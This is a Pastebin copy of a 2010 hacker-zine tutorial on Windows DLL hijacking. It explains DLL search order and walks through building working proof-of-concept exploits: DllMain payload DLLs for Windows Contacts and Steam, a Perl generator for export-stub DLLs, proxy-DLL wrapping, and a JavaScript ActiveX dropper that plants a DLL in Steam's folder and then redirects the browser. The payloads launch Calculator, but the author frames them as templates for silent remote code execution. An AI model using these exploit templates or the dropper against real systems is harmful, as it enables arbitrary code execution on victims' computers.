Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -=[ 0x06 Practical DLL Hijacking
- -=[ Author: storm
- -=[ Email: storm@gonullyourself.org
- -=[ Website: http://gonullyourself.org/
- Table of Contents
- I. Introduction
- II. Threat or No Threat?
- III. Background on DLL Hijacking
- IV. Developing a Proof of Concept
- V. Real-World Attack Examples
- VI. Omg Hax
- I. Introduction
- ===============
- A recent craze has been forming over a new attack vector known as "DLL hijacking." This paper is
- meant to inform the reader about what exactly this attack vector is, how it works, and how to
- develop a proof of concept exploit for it. I will also be covering some more advanced topics, such
- as how DLL hijacking may be used in a practical manner to deliver malicious payloads, and I will
- also introduce a new utilization of this attack to silently execute code on a remote system.
- II. Threat or No Threat?
- ========================
- There has been a lot of discussion about whether or not DLL hijacking actually presents any sort of
- security risk, and at first look, one may agree that these concerns hold some merit. In a typical
- scenario, an attacker would already need to possess a significant level of access to the target
- machine and its filesystem in order to perform a hijack, so the question remains that if such a
- level of access has already been achieved, then why would time and resources be wasted on a DLL
- hijack? Instead, an attacker would probably have the power to simply tamper with the targeted
- program itself or execute a downloaded binary with the same user permissions.
- If an average DLL hijacking scenario doesn't grant escalated privileges to an attacker, then what
- the heck use is it? DLL hijacking is appropriate in situations where an attacker does not have
- actual interactive access to a target system but is still able to pass files to it, such as when a
- user downloads content through BitTorrent or plugs in a USB thumb drive. In both of these
- situations, DLL files may be planted on a system in specific relation to other key files in the
- absence of the attacker maintaining any interactive access to the machine at all. When executed
- properly, this attack is very effective and very dangerous. DLL hijacking won't bring about the
- destruction of all computing as the media generally makes any vulnerability out to be (I'm assuming
- it won't), but it certainly has its place as a valid security concern that must be addressed.
- In any regard, the vendors seem to be taking it seriously:
- From: "Adobe PSIRT" <psirt@adobe.com>
- Subject: Adobe Report
- Date: Mon, August 30, 2010 11:26 am
- To: "storm@gonullyourself.org" <storm@gonullyourself.org>
- Cc: "Adobe PSIRT" <psirt@adobe.com>
- Hello sToRm,
- We noticed you posted a report on the Exploit database about an issue affecting an
- Adobe product: Adobe Photoshop CS2 DLL Hijacking Exploit (Wintab32.dll),
- http://www.exploit-db.com/exploits/14741. We are currently investigating how to
- resolve the issue. We definitely appreciate your feedback about the security of our
- products, and encourage you to contact us directly in the event you find any further
- issues, or have additional information you would like to share about the issue
- already reported. Please contact us at PSIRT@adobe.com.
- Thank you very much,
- Wendy
- Adobe Product Security Incident Response Team
- III. Background on DLL Hijacking
- ================================
- First, let's answer the question of what a DLL file is. Basically, DLL files (the acronym stands
- for "dynamic-link library") are Windows's version of shared libraries, which are packages of
- different subroutines that grant greater functionality to programs. Directly quoting a Microsoft
- article, "For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box
- related functions." Numerous DLL files exist, each providing unique functionality. To cite another
- example, when loaded by a program, the wsock32.dll file offers an interface to the Windows Sockets
- API.
- Above, I mentioned that DLL files are shared libraries, not static libraries. This is a key piece
- of information in the context of our attack. To further explain, shared libraries are loaded at
- run-time, unlike static libraries which are loaded at compile-time. The functionality provided by
- static libraries is compiled directly into the binary itself, whereas the functionality provided by
- shared libraries is compiled separately and copied into memory once loaded by the program. By using
- shared libraries, the overall program size decreases since the executable is only storing a table of
- required functions instead of the actual functions themselves. This process is referred to as
- dynamic linking.
- Dynamic linking offers many advantages over static linking (which you may have figured the
- definition of already), just as static linking offers many advantages over dynamic linking. For
- instance, as previously stated, dynamic linking decreases the overall size of the final executable.
- Shared libraries may also be easily updated without the need for recompiling the affected program.
- Additionally, dynamic linking promotes the reusage of code and allows such libraries to be called
- upon by multiple programs at the same time. Quoting the book "An Introduction to GCC: for the GNU
- compilers gcc and g++," "Most operating systems also provide a virtual memory mechanism which allows
- one copy of a shared library in physical memory to be used by all running programs, saving memory as
- well as disk space." Dynamic linking provides both efficient usage of resources and flexibility in
- programming.
- This flexibility, however, is what causes programs to be vulnerable to DLL hijacking. When
- specifying a DLL file to be loaded by a program, a programmer has various options. First, s/he may
- call the library using an absolute path, such as "C:\Windows\system32\wsock32.dll". Second, s/he
- may call the library using a relative path, such as "..\..\Windows\system32\wsock32.dll". Third,
- s/he may call the library simply by defining "wsock32.dll" with no path. This third option is of
- particular interest to us due to the way Windows attempts to locate DLL files with no definite
- path.
- The following lists are from various Microsoft KB articles and the ACROS Security Blog. Asterisks
- denote families of functions.
- When the LoadLibrary* functions are evoked, the following locations are searched for the requested
- file:
- 1. The directory from which the application loaded
- 2. The system directory
- 3. The 16-bit system directory
- 4. The Windows directory
- 5. The current working directory (CWD)
- 6. The directories that are listed in the PATH environment variable
- When the SeachPath, CreateProcess*, and LoadModule functions are evoked, the following locations are
- searched for the requested file:
- 1. The directory from which the application loaded
- 2. The current working directory (CWD)
- 3. The system directory
- 4. The 16-bit system directory
- 5. The Windows directory
- 6. The directories that are listed in the PATH environment variable
- When the ShellExecute* functions are evoked, the following locations are searched for the requested
- file:
- 1. The current working directory (CWD)
- 2. The 32-bit System directory (Windows\System32)
- 3. The 16-bit System directory (Windows\System)
- 4. The Windows directory (Windows)
- 5. The directories in the PATH environment variable
- 6. The directories specified in the App Paths registry key
- When the WinExec function is evoked, the following locations are searched for the requested file:
- 1. The directory from which the application loaded.
- 2. The current working directory (CWD)
- 3. The Windows system directory. The GetSystemDirectory function retrieves the path of this
- directory.
- 4. The Windows directory. The GetWindowsDirectory function retrieves the path of this
- directory.
- 5. The directories listed in the PATH environment variable.
- When the _spawn*p* and _exec*p* functions are evoked, the following locations are searched for the
- requested file:
- 1. The current working directory (CWD)
- 2. The 32-bit system directory (Windows\System32)
- 3. The Windows directory (Windows)
- 4. The directories in the PATH environment variable
- You may have already formulated an idea about what can happen here. If a DLL file is loaded by
- means of the third path, then there is a good chance that the load function is searching a few other
- directories before finding it. If an attacker places a DLL file containing malicious code in a
- directory that is searched before the correct one is, then it will be loaded (with privileges of the
- calling progam) instead of the real DLL, leading to arbitrary code execution. This is a DLL
- hijacking attack.
- IV. Developing a Proof of Concept
- =================================
- It is fairly simple to develop a working exploit for DLL hijacking. In this section, I will guide
- you through the process of finding a vulnerable application, identifying hijackable DLL files, and
- creating your own DLL files to be hijacked. For the scope of this tutorial, I will target
- Microsoft's Windows Contacts program (tested on Vista SP2 and 7 Ultimate).
- First, download and extract Process Monitor (available at [1]), which we will use to track the
- filesystem activity of Windows Contacts. After opening it, add the following filters:
- Process Name is wab.exe then Include
- Path ends with .dll then Include
- Result is NAME NOT FOUND then Include
- Doing this restricts the program's output just to what we are interested in (requests to load
- nonexistent DLL files by wab.exe).
- Create an empty file named "test.wab", where .wab is a file extension associated with Windows
- Contacts. Double-click on test.wab, which will open the Windows Contacts program. Scrolling down,
- you should see something similar to the following events:
- wab.exe CreateFile C:\Program Files\Windows Mail\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\System32\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\system\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Users\storm\Desktop\New Folder\Windows Contacts\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Program Files\Windows Mail\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Perl\site\bin\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Perl\bin\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Program Files\PHP\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\System32\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\System32\wbem\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\System32\WindowsPowerShell\v1.0\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Windows\wbin\wab32res.dll NAME NOT FOUND
- wab.exe CreateFile C:\Program Files\Nmap\wab32res.dll NAME NOT FOUND
- This string of failed attempts to load a single DLL file is what we are looking for. First, the
- directory that wab.exe was executed from is checked for wab32res.dll, where it is not found. Next,
- it checks three Windows directories, where it is also not found. Then, it checks the current
- working directory (where the .wab file was loaded from), and then, finally, it enumerates PATH as a
- last resort. By observing this trend, we can assume that the program attempts to load wab32res.dll
- using either the LoadLibrary or LoadLibraryEx method.
- In case you are interested, by removing the "NAME NOT FOUND" filter, you can see all requests to
- load DLL files, successful or not. By doing so, we can see that Windows Contacts was ultimately
- successful in loading wab32res.dll a little further down:
- wab.exe CreateFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- wab.exe QueryBasicInformationFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- wab.exe CloseFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- wab.exe CreateFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- wab.exe CreateFileMapping C:\Program Files\Common Files\System\wab32res.dll FILE LOCKED WITHONLY
- READERS
- wab.exe CreateFileMapping C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- wab.exe Load Image C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- wab.exe CloseFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
- So, now that we've identified wab32res.dll as a viable point of attack, the next step is to craft
- our own DLL file. Since we've deduced that the DLL file is being loaded with one of the LoadLibrary
- functions, we can employ the help of the DllMain callback function. We know this because, according
- to [2], "When the system starts or terminates a process or thread, it calls the entry-point function
- for each loaded DLL using the first thread of the process. The system also calls the entry-point
- function for a DLL when it is loaded or unloaded using the LoadLibrary and FreeLibrary functions."
- This means that the contents of DllMain() in our code will be executed upon loading of the DLL
- file.
- The following code is directly from the KB article just mentioned:
- BOOL WINAPI DllMain(
- __in HINSTANCE hinstDLL,
- __in DWORD fdwReason,
- __in LPVOID lpvReserved
- );
- So let's use this code and actually make it do something. The classic proof of concept is to
- execute Calculator:
- /*
- Exploit Title: Microsoft Windows Contacts DLL Hijacking Exploit (wab32res.dll)
- Date: August 25, 2010
- Author: storm (storm@gonullyourself.org)
- Tested on: Windows Vista SP2
- http://www.gonullyourself.org/
- gcc -shared -o wab32res.dll Contacts-DLL.c
- .contact, .group, .p7c, .vcf, and .wab files are affected.
- */
- #include <windows.h>
- int hax()
- {
- WinExec("calc", 0);
- exit(0);
- return 0;
- }
- BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
- {
- hax();
- return 0;
- }
- Here, we have the DllMain() function call hax(), which simply executes calc.exe and exits. In case
- you're wondering, you can determine which file extensions are associated with which programs through
- Control Panel > Default Programs.
- Compile and put your new wab32res.dll in the same directory as any .contact, .group, .p7c, .vcf, or
- .wab file. The file can be empty - just as long as it has one of those file extensions. Open the
- file, and you should see a Calculator window open. :)
- We are done with the proof of concept process for this program. However, if the targeted program
- does not load a DLL using a LoadLibrary function, then we are not able to use DllMain() to execute
- our code. If this is the case, then we must construct our new DLL file in a different manner. We
- must create a template of every export function provided by the real DLL file, but instead of the
- actual functionality, each function simple runs our hax() function.
- For this example, I will use rpawinet.dll, which is loaded insecurely by Live! Cam Avatar Creator
- (CrazyTalk4 for short). It's essentially some useless program that came pre-installed on my
- computer, so I figured I would utilize it somehow.
- First, download and extract DLL Export Viewer from [3]. Run the program, and load the DLL file you
- wish to examine (in this case, rpawinet.dll). A list of the export functions should display in the
- window. Ctrl+A to select all, and Ctrl+S to save to a text file. The contents of the text file
- should look something like:
- ==================================================
- Function Name : HttpFilterBeginningTransaction
- Address : 0x100011d0
- Relative Address : 0x000011d0
- Ordinal : 1 (0x1)
- Filename : rpawinet.dll
- Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
- Type : Exported Function
- ==================================================
- ==================================================
- Function Name : HttpFilterClose
- Address : 0x100011dd
- Relative Address : 0x000011dd
- Ordinal : 2 (0x2)
- Filename : rpawinet.dll
- Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
- Type : Exported Function
- ==================================================
- ==================================================
- Function Name : HttpFilterOnBlockingOps
- Address : 0x100011ea
- Relative Address : 0x000011ea
- Ordinal : 3 (0x3)
- Filename : rpawinet.dll
- Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
- Type : Exported Function
- ==================================================
- ==================================================
- Function Name : HttpFilterOnResponse
- Address : 0x100011f7
- Relative Address : 0x000011f7
- Ordinal : 4 (0x4)
- Filename : rpawinet.dll
- Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
- Type : Exported Function
- ==================================================
- ==================================================
- Function Name : HttpFilterOnTransactionComplete
- Address : 0x10001204
- Relative Address : 0x00001204
- Ordinal : 5 (0x5)
- Filename : rpawinet.dll
- Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
- Type : Exported Function
- ==================================================
- ==================================================
- Function Name : HttpFilterOpen
- Address : 0x10001211
- Relative Address : 0x00001211
- Ordinal : 6 (0x6)
- Filename : rpawinet.dll
- Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
- Type : Exported Function
- ==================================================
- Using a simple Perl script, we can enumerate the function names in this text file and output them in
- correct format for our DLL source.
- use strict;
- use warnings;
- open FILE, '<', @ARGV or die $!;
- print "#include <windows.h>\n#define DllExport __declspec (dllexport)\n\n";
- while (<FILE>) {
- print "DllExport void $1() { hax(); }\n" if ($_ =~ /Function Name\s+: (\w+)/);
- };
- print "\nint hax()\n{\n WinExec(\"calc\", 0);\n exit(0);\n return 0;\n}";
- This should output:
- #include <windows.h>
- #define DllExport __declspec (dllexport)
- DllExport void HttpFilterBeginningTransaction() { hax(); }
- DllExport void HttpFilterClose() { hax(); }
- DllExport void HttpFilterOnBlockingOps() { hax(); }
- DllExport void HttpFilterOnResponse() { hax(); }
- DllExport void HttpFilterOnTransactionComplete() { hax(); }
- DllExport void HttpFilterOpen() { hax(); }
- int hax()
- {
- WinExec("calc", 0);
- exit(0);
- return 0;
- }
- I think you know what to do from here. :)
- If you are interested, HD Moore has written a DLL hijacking auditing kit that automates checking
- every associated file extension on one's computer to find potential program vulnerabilities. You
- can find this tool at [4].
- V. Real-World Attack Examples
- =============================
- There are many avenues for DLL hijacking that turn a number of seemingly safe activities into
- potential security threats. I myself will not go too deeply into this section simply because other
- articles have done a good job describing the vulnerable scenarios, so I will instead provide a guide
- to these resources.
- The article "Exploiting DLL Hijack in the real world" at [5] (mirror: [6]) provides a few good
- examples of possible attack scenarios. The main points of the article are "Using a SMB/WebDav
- shared folder," "A compressed package (.zip, .tar.gz, .rar etc)," "Torrents," and "Exploiting
- multiple application hijacks."
- The article "New DLL Hijacking Exploits (many!)" at [7] steps through an example WebDAV attack using
- Metasploit. "Autorun DLL Hijacker (USB stick)" at [8] attempts to compormise a system through the
- AutoRun feature of USB thumb drives.
- On another note, we only covered creating proof of concept DLLs that don't really do much. Also,
- since we are either removing the functionality of the export functions or the actual export
- functions themselves, the hijacked program is going to crash if we remove the "exit(0);" line.
- Let's learn how to execute our payload while still maintaining the functionality of the original DLL
- file, effectively creating a silent attack.
- We will achieve this through the use of a "proxy DLL." A proxy DLL is exactly what it sounds like -
- a DLL file that acts as an intermediary to another DLL file. These are used to intercept and alter
- program calls, most commonly to add "extra functionality" to games. For this quick section, I'll be
- referencing the article [9] as our method of creating proxy DLL files. The source wrappit.cpp [10]
- is provided by the article to automate the process, which you can instead download from [11] to
- avoid the mandatory registration bullshit.
- As I am still unfamiliar with the true power of proxy DLLs, I will only introduce you to this
- concept and recommend you to guide yourself through the process by reading the documentation linked
- above. The CodeProject article does a pretty good job explaining how to use the tool. Make sure
- that the appropriate development environment is installed (I am using Microsoft Visual C++ Express).
- I will use the example wsock32.dll as in the article:
- C:\Users\storm\Desktop\src>"C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\vcvars32.bat"
- Setting environment for using Microsoft Visual Studio 2010 x86 tools.
- C:\Users\storm\Desktop\src>dumpbin /exports C:\Windows\System32\wsock32.dll > exports.txt
- C:\Users\storm\Desktop\src>type exports.txt
- Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
- Copyright (C) Microsoft Corporation. All rights reserved.
- Dump of file C:\Windows\System32\wsock32.dll
- File Type: DLL
- Section contains the following exports for WSOCK32.dll
- 00000000 characteristics
- 4A5BC955 time date stamp Mon Jul 13 19:55:01 2009
- 0.00 version
- 1 ordinal base
- 1142 number of functions
- 75 number of names
- ordinal hint RVA name
- 1141 0 AcceptEx (forwarded to MSWSOCK.AcceptEx)
- 1111 1 EnumProtocolsA (forwarded to MSWSOCK.EnumProtocolsA)
- 1112 2 EnumProtocolsW (forwarded to MSWSOCK.EnumProtocolsW)
- 1142 3 GetAcceptExSockaddrs (forwarded to MSWSOCK.GetAcceptExSockaddrs)
- 1109 4 GetAddressByNameA (forwarded to MSWSOCK.GetAddressByNameA)
- 1110 5 GetAddressByNameW (forwarded to MSWSOCK.GetAddressByNameW)
- 1115 6 GetNameByTypeA (forwarded to MSWSOCK.GetNameByTypeA)
- 1116 7 GetNameByTypeW (forwarded to MSWSOCK.GetNameByTypeW)
- 1119 8 GetServiceA (forwarded to MSWSOCK.GetServiceA)
- 1120 9 GetServiceW (forwarded to MSWSOCK.GetServiceW)
- 1113 A GetTypeByNameA (forwarded to MSWSOCK.GetTypeByNameA)
- 1114 B GetTypeByNameW (forwarded to MSWSOCK.GetTypeByNameW)
- 24 C MigrateWinsockConfiguration (forwarded to MSWSOCK.MigrateWinsockConfigurat
- ion)
- 1130 D NPLoadNameSpaces (forwarded to MSWSOCK.NPLoadNameSpaces)
- 1117 E SetServiceA (forwarded to MSWSOCK.SetServiceA)
- 1118 F SetServiceW (forwarded to MSWSOCK.SetServiceW)
- 1140 10 TransmitFile (forwarded to MSWSOCK.TransmitFile)
- 500 11 WEP (forwarded to ws2_32.WEP)
- 102 12 WSAAsyncGetHostByAddr (forwarded to ws2_32.WSAAsyncGetHostByAddr)
- 103 13 WSAAsyncGetHostByName (forwarded to ws2_32.WSAAsyncGetHostByName)
- 105 14 WSAAsyncGetProtoByName (forwarded to ws2_32.WSAAsyncGetProtoByName)
- 104 15 WSAAsyncGetProtoByNumber (forwarded to ws2_32.WSAAsyncGetProtoByNumber)
- 107 16 WSAAsyncGetServByName (forwarded to ws2_32.WSAAsyncGetServByName)
- 106 17 WSAAsyncGetServByPort (forwarded to ws2_32.WSAAsyncGetServByPort)
- 101 18 WSAAsyncSelect (forwarded to ws2_32.WSAAsyncSelect)
- 108 19 WSACancelAsyncRequest (forwarded to ws2_32.WSACancelAsyncRequest)
- 113 1A WSACancelBlockingCall (forwarded to ws2_32.WSACancelBlockingCall)
- 116 1B WSACleanup (forwarded to ws2_32.WSACleanup)
- 111 1C WSAGetLastError (forwarded to ws2_32.WSAGetLastError)
- 114 1D WSAIsBlocking (forwarded to ws2_32.WSAIsBlocking)
- 1107 1E WSARecvEx (forwarded to MSWSOCK.WSARecvEx)
- 109 1F WSASetBlockingHook (forwarded to ws2_32.WSASetBlockingHook)
- 112 20 WSASetLastError (forwarded to ws2_32.WSASetLastError)
- 115 21 WSAStartup (forwarded to ws2_32.WSAStartup)
- 110 22 WSAUnhookBlockingHook (forwarded to ws2_32.WSAUnhookBlockingHook)
- 1000 23 WSApSetPostRoutine (forwarded to ws2_32.WSApSetPostRoutine)
- 151 24 __WSAFDIsSet (forwarded to ws2_32.__WSAFDIsSet)
- 1 25 accept (forwarded to ws2_32.accept)
- 2 26 bind (forwarded to ws2_32.bind)
- 3 27 closesocket (forwarded to ws2_32.closesocket)
- 4 28 connect (forwarded to ws2_32.connect)
- 1106 29 dn_expand (forwarded to MSWSOCK.dn_expand)
- 51 2A gethostbyaddr (forwarded to ws2_32.gethostbyaddr)
- 52 2B gethostbyname (forwarded to ws2_32.gethostbyname)
- 57 2C gethostname (forwarded to ws2_32.gethostname)
- 1101 2D getnetbyname (forwarded to MSWSOCK.getnetbyname)
- 5 2E getpeername (forwarded to ws2_32.getpeername)
- 53 2F getprotobyname (forwarded to ws2_32.getprotobyname)
- 54 30 getprotobynumber (forwarded to ws2_32.getprotobynumber)
- 55 31 getservbyname (forwarded to ws2_32.getservbyname)
- 56 32 getservbyport (forwarded to ws2_32.getservbyport)
- 6 33 getsockname (forwarded to ws2_32.getsockname)
- 7 34 0000186E getsockopt
- 8 35 htonl (forwarded to ws2_32.htonl)
- 9 36 htons (forwarded to ws2_32.htons)
- 10 37 inet_addr (forwarded to ws2_32.inet_addr)
- 1100 38 inet_network (forwarded to MSWSOCK.inet_network)
- 11 39 inet_ntoa (forwarded to ws2_32.inet_ntoa)
- 12 3A ioctlsocket (forwarded to ws2_32.ioctlsocket)
- 13 3B listen (forwarded to ws2_32.listen)
- 14 3C ntohl (forwarded to ws2_32.ntohl)
- 15 3D ntohs (forwarded to ws2_32.ntohs)
- 1102 3E rcmd (forwarded to MSWSOCK.rcmd)
- 16 3F 000017A8 recv
- 17 40 00001808 recvfrom
- 1103 41 rexec (forwarded to MSWSOCK.rexec)
- 1104 42 rresvport (forwarded to MSWSOCK.rresvport)
- 1108 43 s_perror (forwarded to MSWSOCK.s_perror)
- 18 44 select (forwarded to ws2_32.select)
- 19 45 send (forwarded to ws2_32.send)
- 20 46 sendto (forwarded to ws2_32.sendto)
- 1105 47 sethostname (forwarded to MSWSOCK.sethostname)
- 21 48 000018E0 setsockopt
- 22 49 shutdown (forwarded to ws2_32.shutdown)
- 23 4A socket (forwarded to ws2_32.socket)
- Summary
- 1000 .data
- 1000 .reloc
- 1000 .rsrc
- 3000 .text
- C:\Users\storm\Desktop\src>g++ wrappit.cpp -o wrappit.exe
- C:\Users\storm\Desktop\src>wrappit.exe wsock32.dll exports.txt __stdcall C:\\Windows\\System32\\wsoc
- k32.dll wsock32.cpp wsock32.def
- Wrappit. Copyright (C) Chourdakis Michael
- Usage: WRAPPIT <dll> <txt> <convention> <new dll name> <cpp> <def>
- ==================================================================
- Step 1: Parsing exports.txt...
- Step 1: 75 exported functions parsed.
- ------------------------------------------
- Step 2: Generating .DEF file wsock32.def...
- Step 2: 75 exported functions written to DEF.
- ------------------------------------------
- Step 3: Generating .CPP file wsock32.cpp...
- cl : Command line warning D9035 : option 'Wp64' has been deprecated and will be removed in a future
- release
- wsock32.cpp
- Creating library wsock32.lib and object wsock32.exp
- Generating code
- Finished generating code
- C:\Users\storm\Desktop\src>
- And this is where I will leave you. :)
- VI. Omg Hax
- ===========
- Many flaws in web browsers allow files to be downloaded to a victim's computer but not executed
- (arbitrary file download), leaving the attacker hoping that it's opened either intentionally or
- accidentally. With DLL hijacking, exploits such as these do not have to rely on a user directly
- interacting with the file, which usually leads to exposure of an attack. Instead, a malicious DLL
- file targeting a popular program may be dropped to a location that will be searched before the
- actual, legitimate DLL is found. Or, in a case like this, where the actual DLL is missing
- altogether:
- /*
- Exploit Title: Steam DLL Hijacking Exploit (steamgamesupport.dll)
- Date: August 25, 2010
- Author: storm (storm@gonullyourself.org)
- Tested on: Windows Vista SP2
- http://www.gonullyourself.org/
- gcc -shared -o steamgamesupport.dll Steam-DLL.c
- For whatever ungodly reason, Steam searches PATH for steamgamesupport.dll but never finds it.
- Shall we help it?
- */
- #include <windows.h>
- int hax()
- {
- WinExec("calc", 0);
- exit(0);
- return 0;
- }
- BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
- {
- hax();
- return 0;
- }
- The following code, provided by SubSyn, acts as a basic example of a file dropper. It will produce
- one script warning when executed. The code with no script warnings will remain unreleased. :)
- <html>
- <head></head>
- <body>
- <script language="javascript">
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- var myfile = fso.CreateTextFile("C:\\Program Files\\Steam\\steamgamesupport.dll",true);
- myfile.WriteLine("compiled DLL contents");
- myfile.Close();
- document.location='http://www.intel.com';
- </script>
- </body>
- </html>
- [1] http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
- [2] http://msdn.microsoft.com/en-us/library/ms682583%28VS.85%29.aspx
- [3] http://www.nirsoft.net/utils/dll_export_viewer.html
- [4] http://blog.metasploit.com/2010/08/better-faster-stronger.html
- [5] http://digitalacropolis.us/?p=113
- [6] http://www.exploit-db.com/papers/14813/
- [7] http://www.attackvector.org/new-dll-hijacking-exploits-many/
- [8] http://www.attackvector.org/autorun-dll-hijacker-usb-stick/
- [9] http://www.codeproject.com/KB/DLL/CreateYourProxyDLLs.aspx
- [10] http://www.codeproject.com/KB/DLL/CreateYourProxyDLLs/src.zip
- [11] http://gonullyourself.org/downloads/wrappit.cpp
- [12] http://support.microsoft.com/kb/815065
- [13] http://www.network-theory.co.uk/docs/gccintro/gccintro_25.html
- [14] http://kb.iu.edu/data/akqn.html
- [15] http://support.microsoft.com/kb/2389418
- [16] http://www.microsoft.com/technet/security/advisory/2269637.mspx
- [17] http://support.microsoft.com/kb/2264107
- [18] http://www.cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf
- [19] http://blog.acrossecurity.com/2010/09/binary-planting-goes-exe.html
- [20] http://msdn.microsoft.com/en-us/library/ms682425%28VS.85%29.aspx
- [21] http://msdn.microsoft.com/en-us/library/ms687393%28VS.85%29.aspx
- [22] http://msdn.microsoft.com/en-us/library/ms684183%28VS.85%29.aspx
- [23] http://msdn.microsoft.com/en-us/library/20y988d2%28v=VS.80%29.aspx
- [24] http://msdn.microsoft.com/en-us/library/431x4c1w%28VS.80%29.aspx
Add Comment
Please, Sign In to add comment